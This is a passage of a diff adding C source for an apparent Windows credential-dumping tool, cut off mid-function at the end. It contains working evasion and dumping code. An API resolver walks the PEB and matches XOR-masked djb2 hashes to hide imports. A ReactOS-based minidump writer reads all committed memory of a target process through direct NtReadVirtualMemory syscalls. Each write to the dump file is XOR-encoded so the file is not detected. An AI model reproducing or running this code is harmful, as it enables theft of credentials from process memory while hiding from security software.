typedef HANDLE(WINAPI* GETPROCESSHEAP)();
|
||||
typedef LPVOID(WINAPI* HEAPALLOC)(HANDLE, DWORD, SIZE_T);
|
||||
typedef LPVOID(WINAPI* HEAPREALLOC)(HANDLE, DWORD, LPVOID, SIZE_T);
|
||||
typedef BOOL(WINAPI* HEAPFREE)(HANDLE, DWORD, LPVOID);
|
||||
typedef void(WINAPI* GETSYSTEMINFO)(LPSYSTEM_INFO);
|
||||
typedef BOOL(WINAPI* FREELIBRARY)(HMODULE);
|
||||
typedef BOOL(WINAPI* ISPROCESSORFEATUREPRESENT)(DWORD);
|
||||
typedef SIZE_T(WINAPI* VIRTUALQUERYEX)(HANDLE, LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T);
|
||||
typedef BOOL(WINAPI* SETFILEPOINTEREX)(HANDLE, LARGE_INTEGER, PLARGE_INTEGER, DWORD);
|
||||
typedef LPWSTR(WINAPI* LSTRCPYW)(LPWSTR, LPCWSTR);
|
||||
typedef DWORD(WINAPI* GETMODULEFILENAMEEXW)(HANDLE, HMODULE, LPWSTR, DWORD);
|
||||
typedef BOOL(WINAPI* ENUMPROCESSMODULES)(HANDLE, HMODULE*, DWORD, LPDWORD);
|
||||
typedef BOOL(WINAPI* GETMODULEINFORMATION)(HANDLE, HMODULE, LPMODULEINFO, DWORD);
|
||||
typedef BOOL(WINAPI* GETMODULEBASENAMEW)(HANDLE, HMODULE, LPWSTR, DWORD);
|
||||
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
|
||||
// ---- USER32 ----
|
||||
#define CRYPTED_HASH_USER32 0x985bec97
|
||||
#define CRYPTED_HASH_WSPRINTFA 0xb9dafb87
|
||||
#define CRYPTED_HASH_WSPRINTFW 0xb9dafb9d
|
||||
|
||||
typedef int(WINAPI* WSPRINTFA)(LPSTR, LPCSTR, ...);
|
||||
typedef int(WINAPI* WSPRINTFW)(LPWSTR, LPCWSTR, ...);
|
||||
|
||||
// ---- Advapi32 ----
|
||||
#define CRYPTED_HASH_ADVAPI32 0x2662c90d
|
||||
#define CRYPTED_HASH_GETTOKENINFORMATION 0xcf963c68
|
||||
#define CRYPTED_HASH_DUPLICATETOKENEX 0x3cd8cc5a
|
||||
|
||||
typedef BOOL(WINAPI* GETTOKENINFORMATION)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
|
||||
typedef BOOL(WINAPI* DUPLICATETOKENEX)(HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE);
|
||||
|
||||
// ---- shlwapi.dll ----
|
||||
#define CRYPTED_HASH_SHLWAPI 0xe64fd763
|
||||
#define CRYPTED_HASH_STRSTRA 0x4ef4617c
|
||||
#define CRYPTED_HASH_PATHFINDFILENAMEA 0x9ed91f31
|
||||
#define CRYPTED_HASH_STRCMPW 0x4eef7d71
|
||||
|
||||
typedef PCSTR(WINAPI* STRSTRA)(PCSTR, PCSTR);
|
||||
typedef LPCSTR(WINAPI* PATHFINDFILENAMEA)(LPCSTR);
|
||||
typedef int(WINAPI* STRCMPW)(PCWSTR, PCWSTR);
|
||||
|
||||
// ---- Psapi.dll ----
|
||||
#define CRYPTED_HASH_PSAPI 0xf82688
|
||||
|
||||
// ---- Api-ms-win-core-version-l1-1-0.dll
|
||||
#define CRYPTED_HASH_API_MS_WIN_CORE_DLL 0xf5ce0ebb
|
||||
#define CRYPTED_HASH_GETFILEVERSIONINFOSIZEW 0x504105cd
|
||||
#define CRYPTED_HASH_GETFILEVERSIONINFOW 0x9436ba2a
|
||||
#define CRYPTED_HASH_VERQUERYVALUEW 0x3927db18
|
||||
|
||||
typedef DWORD(WINAPI* GETFILEVERSIONINFOSIZEW)(LPCWSTR, LPDWORD);
|
||||
typedef BOOL(WINAPI* GETFILEVERSIONINFOW)(LPCWSTR, DWORD, DWORD, LPVOID);
|
||||
typedef BOOL(WINAPI* VERQUERYVALUEW)(LPVOID, LPCWSTR, LPVOID, PUINT);
|
||||
@@ -0,0 +1,264 @@
|
||||
#include "APIResolve.h"
|
||||
|
||||
static uint64_t getDllBase(unsigned long);
|
||||
static uint64_t loadDll(unsigned long);
|
||||
static uint64_t loadDll_byName(char*);
|
||||
static uint64_t parseHdrForPtr(uint64_t, unsigned long);
|
||||
static uint64_t followExport(char*, unsigned long);
|
||||
|
||||
static unsigned long djb2(unsigned char*);
|
||||
static unsigned long unicode_djb2(const wchar_t* str);
|
||||
static unsigned long xor_hash(unsigned long);
|
||||
static WCHAR* toLower(WCHAR* str);
|
||||
|
||||
uint64_t
|
||||
getFunctionPtr(unsigned long crypted_dll_hash, unsigned long crypted_function_hash) {
|
||||
|
||||
uint64_t dll_base = 0x00;
|
||||
uint64_t ptr_function = 0x00;
|
||||
|
||||
dll_base = getDllBase(crypted_dll_hash);
|
||||
if (dll_base == 0) {
|
||||
dll_base = loadDll(crypted_dll_hash);
|
||||
if (dll_base == 0)
|
||||
return FAIL;
|
||||
}
|
||||
|
||||
ptr_function = parseHdrForPtr(dll_base, crypted_function_hash);
|
||||
|
||||
return ptr_function;
|
||||
|
||||
}
|
||||
|
||||
static uint64_t
|
||||
loadDll(unsigned long crypted_dll_hash) {
|
||||
|
||||
uint64_t kernel32_base = 0x00;
|
||||
uint64_t fptr_loadLibary = 0x00;
|
||||
uint64_t ptr_loaded_dll = 0x00;
|
||||
|
||||
kernel32_base = getDllBase(CRYPTED_HASH_KERNEL32);
|
||||
if (kernel32_base == 0x00)
|
||||
return FAIL;
|
||||
|
||||
fptr_loadLibary = parseHdrForPtr(kernel32_base, CRYPTED_HASH_LOADLIBRARYA);
|
||||
if (fptr_loadLibary == 0x00)
|
||||
return FAIL;
|
||||
|
||||
if (crypted_dll_hash == CRYPTED_HASH_USER32) {
|
||||
char dll_name[] = { 'U', 's', 'e', 'r', '3' ,'2' ,'.', 'd', 'l', 'l', 0x00 };
|
||||
ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name);
|
||||
} else if (crypted_dll_hash == CRYPTED_HASH_ADVAPI32) {
|
||||
char dll_name[] = { 'A', 'd', 'v', 'a', 'p', 'i', '3', '2','.','d','l','l',0x00 };
|
||||
ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name);
|
||||
} else if (crypted_dll_hash == CRYPTED_HASH_SHLWAPI) {
|
||||
char dll_name[] = { 'S', 'h', 'l', 'w', 'a', 'p', 'i', '.', 'd','l','l',0x00 };
|
||||
ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name);
|
||||
} else if (crypted_dll_hash == CRYPTED_HASH_PSAPI) {
|
||||
char dll_name[] = { 'P', 's', 'a', 'p', 'i', '.', 'd','l','l',0x00 };
|
||||
ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name);
|
||||
} else if (crypted_dll_hash == CRYPTED_HASH_API_MS_WIN_CORE_DLL) {
|
||||
char dll_name[] = { 'A','p','i','-','m','s','-','w','i','n','-','c','o','r','e','-','v','e','r','s','i','o','n','-','l','1','-','1','-','0','.','d','l','l', 0x00 };
|
||||
ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name);
|
||||
}
|
||||
|
||||
return ptr_loaded_dll;
|
||||
|
||||
}
|
||||
|
||||
static uint64_t
|
||||
loadDll_byName(char* dll_name) {
|
||||
|
||||
uint64_t kernel32_base = 0x00;
|
||||
uint64_t fptr_loadLibary = 0x00;
|
||||
uint64_t ptr_loaded_dll = 0x00;
|
||||
|
||||
kernel32_base = getDllBase(CRYPTED_HASH_KERNEL32);
|
||||
if (kernel32_base == 0x00)
|
||||
return FAIL;
|
||||
|
||||
fptr_loadLibary = parseHdrForPtr(kernel32_base, CRYPTED_HASH_LOADLIBRARYA);
|
||||
if (fptr_loadLibary == 0x00)
|
||||
return FAIL;
|
||||
|
||||
ptr_loaded_dll = (uint64_t)((LOADLIBRARYA)fptr_loadLibary)(dll_name);
|
||||
|
||||
return ptr_loaded_dll;
|
||||
|
||||
}
|
||||
|
||||
|
||||
static uint64_t
|
||||
parseHdrForPtr(uint64_t dll_base, unsigned long crypted_function_hash) {
|
||||
|
||||
PIMAGE_NT_HEADERS nt_hdrs = NULL;
|
||||
PIMAGE_DATA_DIRECTORY data_dir = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY export_dir = NULL;
|
||||
|
||||
uint32_t* ptr_exportadrtable = 0x00;
|
||||
uint32_t* ptr_namepointertable = 0x00;
|
||||
uint16_t* ptr_ordinaltable = 0x00;
|
||||
|
||||
uint32_t idx_functions = 0x00;
|
||||
|
||||
unsigned char* ptr_function_name = NULL;
|
||||
|
||||
|
||||
nt_hdrs = (PIMAGE_NT_HEADERS)(dll_base + (uint64_t)((PIMAGE_DOS_HEADER)(size_t)dll_base)->e_lfanew);
|
||||
data_dir = (PIMAGE_DATA_DIRECTORY)&nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
export_dir = (PIMAGE_EXPORT_DIRECTORY)(dll_base + (uint64_t)data_dir->VirtualAddress);
|
||||
|
||||
ptr_exportadrtable = (uint32_t*)(dll_base + (uint64_t)export_dir->AddressOfFunctions);
|
||||
ptr_namepointertable = (uint32_t*)(dll_base + (uint64_t)export_dir->AddressOfNames);
|
||||
ptr_ordinaltable = (uint16_t*)(dll_base + (uint64_t)export_dir->AddressOfNameOrdinals);
|
||||
|
||||
for (idx_functions = 0; idx_functions < export_dir->NumberOfNames; idx_functions++) {
|
||||
|
||||
ptr_function_name = (unsigned char*)dll_base + (ptr_namepointertable[idx_functions]);
|
||||
if (djb2(ptr_function_name) == xor_hash(crypted_function_hash)) {
|
||||
|
||||
WORD nameord = ptr_ordinaltable[idx_functions];
|
||||
DWORD rva = ptr_exportadrtable[nameord];
|
||||
|
||||
|
||||
if (dll_base + rva >= dll_base + data_dir->VirtualAddress && dll_base + rva <= dll_base + data_dir->VirtualAddress + (uint64_t)data_dir->Size) {
|
||||
// This is a forwarded export
|
||||
|
||||
char* ptr_forward = (char*)(dll_base + rva);
|
||||
return followExport(ptr_forward, crypted_function_hash);
|
||||
|
||||
}
|
||||
|
||||
|
||||
return dll_base + rva;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return FAIL;
|
||||
}
|
||||
|
||||
static uint64_t followExport(char* ptr_forward, unsigned long crypted_function_hash) {
|
||||
|
||||
STRSTRA _StrStrA = (STRSTRA)getFunctionPtr(CRYPTED_HASH_SHLWAPI, CRYPTED_HASH_STRSTRA);
|
||||
|
||||
if (_StrStrA == 0x00)
|
||||
return FAIL;
|
||||
|
||||
char del[] = { '.', 0x00 };
|
||||
char* pos_del = 0x00;
|
||||
char forward_dll[MAX_PATH] = { 0 };
|
||||
char forward_export[MAX_PATH] = { 0 };
|
||||
unsigned long forward_export_hash = 0x00;
|
||||
uint8_t i = 0;
|
||||
uint64_t fwd_dll_base = 0x00, forwarded_export = 0x00;
|
||||
|
||||
while (*ptr_forward)
|
||||
forward_dll[i++] = *ptr_forward++;
|
||||
|
||||
pos_del = (char*)_StrStrA(forward_dll, del);
|
||||
if (pos_del == 0)
|
||||
return FAIL;
|
||||
|
||||
*(char*)(pos_del++) = 0x00;
|
||||
i = 0;
|
||||
while (*pos_del)
|
||||
forward_export[i++] = *pos_del++;
|
||||
|
||||
forward_export_hash = xor_hash(djb2((unsigned char*)forward_export));
|
||||
|
||||
fwd_dll_base = getDllBase(xor_hash(djb2((unsigned char*)forward_dll)));
|
||||
if (fwd_dll_base == 0x00) {
|
||||
fwd_dll_base = loadDll_byName(forward_dll);
|
||||
if (fwd_dll_base == 0x00)
|
||||
return FAIL;
|
||||
}
|
||||
|
||||
forwarded_export = parseHdrForPtr(fwd_dll_base, forward_export_hash);
|
||||
|
||||
return forwarded_export;
|
||||
|
||||
}
|
||||
|
||||
static uint64_t
|
||||
getDllBase(unsigned long crypted_dll_hash) {
|
||||
|
||||
_PPEB ptr_peb = NULL;
|
||||
PPEB_LDR_DATA ptr_ldr_data = NULL;
|
||||
PLDR_DATA_TABLE_ENTRY ptr_module_entry = NULL, ptr_start_module = NULL;
|
||||
PUNICODE_STR dll_name = NULL;
|
||||
|
||||
ptr_peb = (_PPEB)__readgsqword(0x60);
|
||||
ptr_ldr_data = ptr_peb->pLdr;
|
||||
ptr_module_entry = ptr_start_module = (PLDR_DATA_TABLE_ENTRY)ptr_ldr_data->InMemoryOrderModuleList.Flink;
|
||||
|
||||
do {
|
||||
|
||||
dll_name = &ptr_module_entry->BaseDllName;
|
||||
|
||||
if (dll_name->pBuffer == NULL)
|
||||
return FAIL;
|
||||
|
||||
if (unicode_djb2(toLower(dll_name->pBuffer)) == xor_hash(crypted_dll_hash))
|
||||
return (uint64_t)ptr_module_entry->DllBase;
|
||||
|
||||
ptr_module_entry = (PLDR_DATA_TABLE_ENTRY)ptr_module_entry->InMemoryOrderModuleList.Flink;
|
||||
|
||||
} while (ptr_module_entry != ptr_start_module);
|
||||
|
||||
return FAIL;
|
||||
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
djb2(unsigned char* str)
|
||||
{
|
||||
unsigned long hash = 5381;
|
||||
int c;
|
||||
|
||||
while ((c = *str++))
|
||||
hash = ((hash << 5) + hash) + c;
|
||||
|
||||
return hash;
|
||||
}
|
||||
|
||||
unsigned long
|
||||
unicode_djb2(const wchar_t* str)
|
||||
{
|
||||
|
||||
unsigned long hash = 5381;
|
||||
DWORD val;
|
||||
|
||||
while (*str != 0) {
|
||||
val = (DWORD)*str++;
|
||||
hash = ((hash << 5) + hash) + val;
|
||||
}
|
||||
|
||||
return hash;
|
||||
|
||||
}
|
||||
|
||||
unsigned long
|
||||
xor_hash(unsigned long hash) {
|
||||
return hash ^ CRYPT_KEY;
|
||||
}
|
||||
|
||||
static WCHAR*
|
||||
toLower(WCHAR* str)
|
||||
{
|
||||
|
||||
WCHAR* start = str;
|
||||
|
||||
while (*str) {
|
||||
|
||||
if (*str <= L'Z' && *str >= 'A') {
|
||||
*str += 32;
|
||||
}
|
||||
|
||||
str += 1;
|
||||
|
||||
}
|
||||
|
||||
return start;
|
||||
|
||||
}
|
||||
+676
@@ -0,0 +1,676 @@
|
||||
/*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
|
||||
*/
|
||||
|
||||
/* Based on https://doxygen.reactos.org/d8/d5d/minidump_8c_source.html */
|
||||
|
||||
#include "DumpTools.h"
|
||||
|
||||
#include "stdio.h"
|
||||
|
||||
static int
|
||||
mytowlower(wint_t c) {
|
||||
|
||||
int ret = (int)c;
|
||||
|
||||
if (c <= L'Z' && c >= 'A') {
|
||||
ret += 32;
|
||||
}
|
||||
|
||||
return ret;
|
||||
|
||||
}
|
||||
|
||||
static BOOL ObfWriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped, struct fPtrs* function_ptrs) {
|
||||
|
||||
void* ptr_encoded_buffer = NULL;
|
||||
BOOL success = FALSE;
|
||||
|
||||
ptr_encoded_buffer = function_ptrs->_HeapAlloc(function_ptrs->_GetProcessHeap(), 0, nNumberOfBytesToWrite);
|
||||
if(ptr_encoded_buffer == NULL)
|
||||
goto cleanup;
|
||||
|
||||
for (unsigned i = 0; i < nNumberOfBytesToWrite; i++)
|
||||
*((BYTE*)ptr_encoded_buffer + i) = *((BYTE*)lpBuffer + i);
|
||||
|
||||
for (unsigned i = 0; i < nNumberOfBytesToWrite; i++)
|
||||
*((BYTE*)ptr_encoded_buffer + i) ^= 0x41;
|
||||
|
||||
success = function_ptrs->_WriteFile(hFile, ptr_encoded_buffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, NULL);
|
||||
|
||||
cleanup:
|
||||
if(ptr_encoded_buffer)
|
||||
function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, ptr_encoded_buffer);
|
||||
|
||||
return success;
|
||||
|
||||
}
|
||||
|
||||
|
||||
static BOOL fetch_process_info(struct dump_context* dc, struct fPtrs *function_ptrs)
|
||||
{
|
||||
|
||||
ULONG buf_size = 0x1000;
|
||||
NTSTATUS nts;
|
||||
SYSTEM_PROCESS_INFORMATION* pcs_buffer;
|
||||
|
||||
if (!(pcs_buffer = (SYSTEM_PROCESS_INFORMATION*)function_ptrs->_HeapAlloc(function_ptrs->_GetProcessHeap(), 0, buf_size))) return FALSE;
|
||||
for (;;)
|
||||
{
|
||||
nts = NtQuerySystemInformation(SystemProcessInformation,
|
||||
pcs_buffer, buf_size, NULL);
|
||||
if (nts != 0xC0000004L) break;
|
||||
pcs_buffer = (SYSTEM_PROCESS_INFORMATION*)function_ptrs->_HeapReAlloc(function_ptrs->_GetProcessHeap(), 0, pcs_buffer, buf_size *= 2);
|
||||
if (!pcs_buffer) return FALSE;
|
||||
}
|
||||
|
||||
if (nts == 0)
|
||||
{
|
||||
SYSTEM_PROCESS_INFORMATION* spi = pcs_buffer;
|
||||
|
||||
for (;;)
|
||||
{
|
||||
if (HandleToUlong(spi->UniqueProcessId) == dc->pid)
|
||||
{
|
||||
dc->num_threads = spi->NumberOfThreads;
|
||||
dc->threads = (struct dump_thread*)function_ptrs->_HeapAlloc(function_ptrs->_GetProcessHeap(), 0,
|
||||
dc->num_threads * sizeof(dc->threads[0]));
|
||||
if (!dc->threads) goto failed;
|
||||
function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, pcs_buffer);
|
||||
return TRUE;
|
||||
}
|
||||
if (!spi->NextEntryOffset) break;
|
||||
spi = (SYSTEM_PROCESS_INFORMATION*)((char*)spi + spi->NextEntryOffset);
|
||||
}
|
||||
}
|
||||
failed:
|
||||
function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, pcs_buffer);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static void writeat(struct dump_context* dc, RVA rva, const void* data, unsigned size, struct fPtrs* function_pointers)
|
||||
{
|
||||
|
||||
DWORD written;
|
||||
|
||||
function_pointers->_SetFilePointer(dc->hFile, rva, NULL, FILE_BEGIN);
|
||||
ObfWriteFile(dc->hFile, data, size, &written, NULL, function_pointers);
|
||||
|
||||
}
|
||||
|
||||
static void append(struct dump_context* dc, const void* data, unsigned size, struct fPtrs *function_pointers)
|
||||
{
|
||||
writeat(dc, dc->rva, data, size, function_pointers);
|
||||
dc->rva += size;
|
||||
}
|
||||
|
||||
static unsigned dump_system_info(struct dump_context* dc, struct fPtrs *function_pointers)
|
||||
{
|
||||
|
||||
MINIDUMP_SYSTEM_INFO mdSysInfo;
|
||||
SYSTEM_INFO sysInfo;
|
||||
OSVERSIONINFOW osInfo;
|
||||
DWORD written;
|
||||
ULONG slen;
|
||||
DWORD wine_extra = 0;
|
||||
|
||||
function_pointers->_GetSystemInfo(&sysInfo);
|
||||
osInfo.dwOSVersionInfoSize = sizeof(osInfo);
|
||||
|
||||
typedef int(WINAPI* RtlGetNtVersionNumbers)(PDWORD, PDWORD, PDWORD);
|
||||
|
||||
char ntdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd','l','l',0x00 };
|
||||
char func[] = { 'R', 't', 'l','G','e','t','N','t','V','e','r','s','i','o','n','N','u','m','b','e','r','s',0x00 };
|
||||
HINSTANCE hinst = function_pointers->_LoadLibrary(ntdll);
|
||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||
RtlGetNtVersionNumbers proc = (RtlGetNtVersionNumbers)function_pointers->_GetProcAddress(hinst, func);
|
||||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||
dwBuildNumber &= 0xffff;
|
||||
function_pointers->_FreeLibrary(hinst);
|
||||
|
||||
mdSysInfo.ProcessorArchitecture = sysInfo.wProcessorArchitecture;
|
||||
mdSysInfo.ProcessorLevel = sysInfo.wProcessorLevel;
|
||||
mdSysInfo.ProcessorRevision = sysInfo.wProcessorRevision;
|
||||
mdSysInfo.NumberOfProcessors = (UCHAR)sysInfo.dwNumberOfProcessors;
|
||||
mdSysInfo.ProductType = VER_NT_WORKSTATION; /* This might need fixing */
|
||||
mdSysInfo.MajorVersion = dwMajor;
|
||||
mdSysInfo.MinorVersion = dwMinor;
|
||||
mdSysInfo.BuildNumber = dwBuildNumber;
|
||||
mdSysInfo.PlatformId = 0x2;
|
||||
|
||||
mdSysInfo.CSDVersionRva = dc->rva + sizeof(mdSysInfo) + wine_extra;
|
||||
mdSysInfo.Reserved1 = 0;
|
||||
mdSysInfo.SuiteMask = VER_SUITE_TERMINAL;
|
||||
|
||||
unsigned i;
|
||||
ULONG64 one = 1;
|
||||
|
||||
mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0;
|
||||
mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0;
|
||||
|
||||
for (i = 0; i < sizeof(mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++)
|
||||
if (function_pointers->_IsProcessorFeaturePresent(i))
|
||||
mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= one << i;
|
||||
|
||||
append(dc, &mdSysInfo, sizeof(mdSysInfo), function_pointers);
|
||||
|
||||
WCHAR szCSDVersion[256] = { 0x00 };
|
||||
slen = function_pointers->_lstrlenW(szCSDVersion) * sizeof(WCHAR);
|
||||
ObfWriteFile(dc->hFile, &slen, sizeof(slen), &written, NULL, function_pointers);
|
||||
ObfWriteFile(dc->hFile, szCSDVersion, slen, &written, NULL, function_pointers);
|
||||
dc->rva += sizeof(ULONG) + slen;
|
||||
|
||||
return sizeof(mdSysInfo);
|
||||
}
|
||||
|
||||
void minidump_add_memory_block(struct dump_context* dc, ULONG64 base, ULONG size, ULONG rva, struct fPtrs *function_pointers)
|
||||
{
|
||||
|
||||
if (!dc->mem)
|
||||
{
|
||||
dc->alloc_mem = 32;
|
||||
dc->mem = (struct dump_memory*)function_pointers->_HeapAlloc(function_pointers->_GetProcessHeap(), 0, dc->alloc_mem * sizeof(*dc->mem));
|
||||
}
|
||||
else if (dc->num_mem >= dc->alloc_mem)
|
||||
{
|
||||
dc->alloc_mem *= 2;
|
||||
dc->mem = (struct dump_memory*)function_pointers->_HeapReAlloc(function_pointers->_GetProcessHeap(), 0, dc->mem,
|
||||
dc->alloc_mem * sizeof(*dc->mem));
|
||||
}
|
||||
if (dc->mem)
|
||||
{
|
||||
dc->mem[dc->num_mem].base = base;
|
||||
dc->mem[dc->num_mem].size = size;
|
||||
dc->mem[dc->num_mem].rva = rva;
|
||||
dc->num_mem++;
|
||||
}
|
||||
|
||||
else dc->num_mem = dc->alloc_mem = 0;
|
||||
|
||||
}
|
||||
|
||||
|
||||
static void minidump_add_memory64_block(struct dump_context* dc, ULONG64 base, ULONG64 size, struct fPtrs* function_pointers)
|
||||
{
|
||||
|
||||
if (!dc->mem64)
|
||||
{
|
||||
dc->alloc_mem64 = 32;
|
||||
dc->mem64 = (struct dump_memory64*)function_pointers->_HeapAlloc(function_pointers->_GetProcessHeap(), 0, dc->alloc_mem64 * sizeof(*dc->mem64));
|
||||
}
|
||||
else if (dc->num_mem64 >= dc->alloc_mem64)
|
||||
{
|
||||
dc->alloc_mem64 *= 2;
|
||||
dc->mem64 = (struct dump_memory64*)function_pointers->_HeapReAlloc(function_pointers->_GetProcessHeap(), 0, dc->mem64,
|
||||
dc->alloc_mem64 * sizeof(*dc->mem64));
|
||||
}
|
||||
if (dc->mem64)
|
||||
{
|
||||
dc->mem64[dc->num_mem64].base = base;
|
||||
dc->mem64[dc->num_mem64].size = size;
|
||||
dc->num_mem64++;
|
||||
}
|
||||
else dc->num_mem64 = dc->alloc_mem64 = 0;
|
||||
}
|
||||
|
||||
static void fetch_memory64_info(struct dump_context* dc, struct fPtrs *function_pointers)
|
||||
{
|
||||
|
||||
ULONG_PTR addr;
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
|
||||
addr = 0;
|
||||
while (function_pointers->_VirtualQueryEx(dc->handle, (LPCVOID)addr, &mbi, sizeof(mbi)) != 0)
|
||||
{
|
||||
/* Memory regions with state MEM_COMMIT will be added to the dump */
|
||||
if (mbi.State == MEM_COMMIT)
|
||||
{
|
||||
minidump_add_memory64_block(dc, (ULONG_PTR)mbi.BaseAddress, mbi.RegionSize, function_pointers);
|
||||
}
|
||||
|
||||
if ((addr + mbi.RegionSize) < addr)
|
||||
break;
|
||||
|
||||
addr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
|
||||
}
|
||||
}
|
||||
|
||||
static inline BOOL read_process_memory(HANDLE process, UINT64 addr, void* buf, size_t size)
|
||||
{
|
||||
|
||||
//_NtReadVirtualMemory NtReadVirtualMemory = (_NtReadVirtualMemory)
|
||||
// GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtReadVirtualMemory");
|
||||
// Uncommented and using direct syscalls
|
||||
|
||||
SIZE_T read = 0;
|
||||
NTSTATUS res = NtReadVirtualMemory(process, (PVOID*)addr, buf, size, &read);
|
||||
return !res;
|
||||
}
|
||||
|
||||
static unsigned dump_memory64_info(struct dump_context* dc, struct fPtrs* function_pointers)
|
||||
{
|
||||
|
||||
MINIDUMP_MEMORY64_LIST mdMem64List;
|
||||
MINIDUMP_MEMORY_DESCRIPTOR64 mdMem64;
|
||||
DWORD written;
|
||||
unsigned i, len, sz;
|
||||
RVA rva_base;
|
||||
char tmp[1024];
|
||||
ULONG64 pos;
|
||||
LARGE_INTEGER filepos;
|
||||
|
||||
sz = sizeof(mdMem64List.NumberOfMemoryRanges) +
|
||||
sizeof(mdMem64List.BaseRva) +
|
||||
dc->num_mem64 * sizeof(mdMem64);
|
||||
|
||||
mdMem64List.NumberOfMemoryRanges = dc->num_mem64;
|
||||
mdMem64List.BaseRva = dc->rva + sz;
|
||||
|
||||
append(dc, &mdMem64List.NumberOfMemoryRanges,
|
||||
sizeof(mdMem64List.NumberOfMemoryRanges), function_pointers);
|
||||
append(dc, &mdMem64List.BaseRva,
|
||||
sizeof(mdMem64List.BaseRva), function_pointers);
|
||||
|
||||
rva_base = dc->rva;
|
||||
dc->rva += dc->num_mem64 * sizeof(mdMem64);
|
||||
|
||||
/* dc->rva is not updated past this point. The end of the dump
|
||||
* is just the full memory data. */
|
||||
filepos.QuadPart = dc->rva;
|
||||
for (i = 0; i < dc->num_mem64; i++)
|
||||
{
|
||||
mdMem64.StartOfMemoryRange = dc->mem64[i].base;
|
||||
mdMem64.DataSize = dc->mem64[i].size;
|
||||
function_pointers->_SetFilePointerEx(dc->hFile, filepos, NULL, FILE_BEGIN);
|
||||
for (pos = 0; pos < dc->mem64[i].size; pos += sizeof(tmp))
|
||||
{
|
||||
len = (unsigned)(min(dc->mem64[i].size - pos, sizeof(tmp)));
|
||||
if (read_process_memory(dc->handle, dc->mem64[i].base + pos, tmp, len))
|
||||
ObfWriteFile(dc->hFile, tmp, len, &written, NULL, function_pointers);
|
||||
}
|
||||
filepos.QuadPart += mdMem64.DataSize;
|
||||
writeat(dc, rva_base + i * sizeof(mdMem64), &mdMem64, sizeof(mdMem64), function_pointers);
|
||||
}
|
||||
|
||||
return sz;
|
||||
}
|
||||
|
||||
static void fetch_module_versioninfo(LPCWSTR filename, VS_FIXEDFILEINFO* ffi, struct fPtrs* function_ptrs)
|
||||
{
|
||||
|
||||
DWORD handle;
|
||||
DWORD sz;
|
||||
WCHAR backslashW[] = { '\\', '\0' };
|
||||
|
||||
//memset(ffi, 0, sizeof(*ffi));
|
||||
for (uint32_t i = 0; i < sizeof(*ffi); i++) {
|
||||
*((uint8_t*)(ffi) + i) = 0x00;
|
||||
}
|
||||
|
||||
if ((sz = function_ptrs->_GetFileVersionInfoSizeW(filename, &handle)))
|
||||
{
|
||||
void* info = function_ptrs->_HeapAlloc(function_ptrs->_GetProcessHeap(), 0, sz);
|
||||
if (info && function_ptrs->_GetFileVersionInfoW(filename, handle, sz, info))
|
||||
{
|
||||
VS_FIXEDFILEINFO* ptr;
|
||||
UINT len;
|
||||
|
||||
if (function_ptrs->_VerQueryValueW(info, backslashW, (LPVOID*)&ptr, &len)) {
|
||||
//memcpy(ffi, ptr, min(len, sizeof(*ffi)));
|
||||
function_ptrs->_CopyMemory(ffi, ptr, min(len, sizeof(*ffi)));
|
||||
/*for (uint32_t i = 0; i < min(len, sizeof(*ffi)); i++) {
|
||||
*((uint8_t*)(ffi)+i) = *((uint8_t*)(ptr)+i);
|
||||
}*/
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if(info)
|
||||
function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, info);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
static unsigned dump_modules(struct dump_context* dc, BOOL dump_elf, struct fPtrs* function_ptrs)
|
||||
{
|
||||
|
||||
MINIDUMP_MODULE mdModule;
|
||||
MINIDUMP_MODULE_LIST mdModuleList;
|
||||
char tmp[1024];
|
||||
MINIDUMP_STRING* ms = (MINIDUMP_STRING*)tmp;
|
||||
